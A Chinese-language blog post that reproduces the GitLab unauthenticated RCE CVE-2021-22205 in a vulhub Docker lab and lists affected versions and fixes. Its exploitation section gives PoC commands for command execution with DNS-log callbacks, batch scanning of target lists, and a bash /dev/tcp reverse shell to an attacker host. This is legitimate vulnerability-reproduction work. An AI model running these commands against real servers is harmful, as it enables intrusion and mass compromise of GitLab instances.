CVE-2021-22205 GitLab 未授权RCE复现

0x00 漏洞简介

GitLab是一款Ruby开发的Git项目管理平台。如11.9以后的GitLab中,因为使用了图片处理工具ExifTool而受到漏洞CVE-2021-22204的影响,攻击者可以通过一个未授权的接口上传一张恶意构造的图片,进而在GitLab服务器上执行命令。

0x01 影响版本

该漏洞影响以下GitLab企业版和社区版:

11.9 <= Gitlab CE/EE < 13.8.8

13.9 <= Gitlab CE/EE < 13.9.6

13.10 <= Gitlab CE/EE < 13.10.3

版本检测:

使用如下命令可查看当前GitLab的版本:

cat /opt/gitlab/embedded/service/gitlab-rails/VERSION

本文复现版本:Gitlab CE 13.10.1

0x02 漏洞环境

执行如下命令启动一个GitLab 13.10.1版本服务器:

mkdir CVE-2021-22205

cd CVE-2021-22205

vi docker-compose.yml

内容如下:

version: '2.3'


services:
  redis:
    image: redis:5.0.9-alpine


  postgresql:
    image: postgres:12-alpine
    environment:
    - POSTGRES_USER=gitlab
    - POSTGRES_PASSWORD=password
    - POSTGRES_DB=gitlabhq_production
    - DB_EXTENSION=pg_trgm,btree_gist


  gitlab:
    image: vulhub/gitlab:13.10.1
    depends_on:
    - redis
    - postgresql
    ports:
    - "8080:80"
    - "10022:22"
    environment:
    - DEBUG=false


    - DB_ADAPTER=postgresql
    - DB_HOST=postgresql
    - DB_PORT=5432
    - DB_USER=gitlab
    - DB_PASS=password
    - DB_NAME=gitlabhq_production


    - REDIS_HOST=redis
    - REDIS_PORT=6379


    - GITLAB_HTTPS=false
    - SSL_SELF_SIGNED=false


    - GITLAB_HOST=localhost
    - GITLAB_PORT=8080
    - GITLAB_SSH_PORT=10022
    - GITLAB_RELATIVE_URL_ROOT=
    - GITLAB_SECRETS_DB_KEY_BASE=long-long-long-long-long-long-secret-key-is-here1
    - GITLAB_SECRETS_SECRET_KEY_BASE=long-long-long-long-long-long-secret-key-is-here2
    - GITLAB_SECRETS_OTP_KEY_BASE=long-long-long-long-long-long-secret-key-is-her3


    - TZ=Asia/Kolkata
    - GITLAB_TIMEZONE=Kolkata
    - GITLAB_ROOT_PASSWORD=vulhub123456

docker-compose.yml文件拷贝自:

https://github.com/vulhub/vulhub/blob/master/gitlab/CVE-2021-22205/docker-compose.yml

docker-compose up -d环境启动后,访问http://your-ip:8080即可查看到GitLab的登录页面。

253d2e7bba40a59e6827d9bd4316f771.png

0x03 漏洞复现

漏洞POC

https://github.com/Al1ex/CVE-2021-22205

漏洞验证

python CVE-2021-22205.py -v true -t http://Your IP:Port

执行命令

python3 CVE-2021-22205.py -a true -t https://gitlab.example.com/ -c "ping 1us7f0.dnslog.cn"

e6b482788df45583ac55d0f264fea86c.png

ae7009f1b0aaa3cc087ce6ad05e8427d.png

批量扫描

python3 CVE-2021-2205.py -s true -f target.txt

反弹shell:

python3 CVE-2021-2205.py -a true -t http://Your IP:port -c "echo 'bash -i >& /dev/tcp/ip/port 0>&1' > /tmp/1.sh"
python3 CVE-2021-2205.py -a true -t http://Your IP:port -c "chmod +x /tmp/1.sh"
python3 CVE-2021-2205.py -a true -t http://Your IP:port -c "/bin/bash /tmp/1.sh"

0x04 修改方案

1、及时升级GitLab至最新安全版本

2、配置访问控制策略,避免受影响的GitLab暴露在公网

参考链接:https://www.cnblogs.com/cn-gov/p/15490588.html

长按下方图片关注我们:

7666818cd73614782afe4f72ea3af59e.png

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值